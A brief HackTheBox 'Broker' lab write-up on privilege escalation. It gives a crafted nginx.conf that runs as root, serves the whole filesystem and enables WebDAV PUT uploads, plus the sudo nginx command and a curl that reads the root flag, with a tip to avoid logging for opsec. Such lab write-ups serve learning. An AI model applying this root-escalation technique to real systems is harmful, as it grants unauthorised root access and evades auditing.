Broker (Linux)

New things I learned from this HackTheBox Machine

For Priv Esclation, sudo -l revealed that the low-priv user can run nginx as root.

To exploit this, I made my own nginx.conf to be this ->

```
user root;
worker_processes 4;
pid /tmp/nginx.pid;
events {
        worker_connections 768;
}
http {
    server {
        listen 1337;
        root /;
        autoindex on;

        dav_methods PUT;
}
}
```

• We don't want to make any logs with this nginx config for opsec purposes.

The key parts are the following:
user root: The worker processes will be run by root , meaning when we eventually upload a file, it will also be owned by root .
r**oot /** : The document root will be topmost directory of the filesystem.
dav_methods PUT : We enable the WebDAV HTTP extension with the PUT method, which allows clients to upload files.

We can check to see that the local port “1337” that we specified in our malicous .conf file is open on the victim's machine.

```
activemq@broker:/tmp$ ss -lntp

ss -lntp

State  Recv-Q Send-Q Local Address:Port  Peer Address:PortProcess
LISTEN 0      511          0.0.0.0:80         0.0.0.0:*
LISTEN 0      4096   127.0.0.53%lo:53         0.0.0.0:*
LISTEN 0      128          0.0.0.0:22         0.0.0.0:*
LISTEN 0      511          0.0.0.0:1337       0.0.0.0:*
LISTEN 0      50                 *:45535            *:*    users:(("java",pid=939,fd=26))
LISTEN 0      50                 *:8161             *:*    users:(("java",pid=939,fd=154))
LISTEN 0      4096               *:5672             *:*    users:(("java",pid=939,fd=144))
LISTEN 0      4096               *:61613            *:*    users:(("java",pid=939,fd=145))
LISTEN 0      50                 *:61614            *:*    users:(("java",pid=939,fd=148))
LISTEN 0      4096               *:61616            *:*    users:(("java",pid=939,fd=143))
LISTEN 0      128             [::]:22            [::]:*
LISTEN 0      4096               *:1883             *:*    users:(("java",pid=939,fd=146))
```

We save the settings in a file and configure NGINX to use it via the -c flag.

```
sudo nginx -c /tmp/nginx2.conf
```

Now we can just grab the root flag

```
curl localhost:1337/root/root.txt
```

?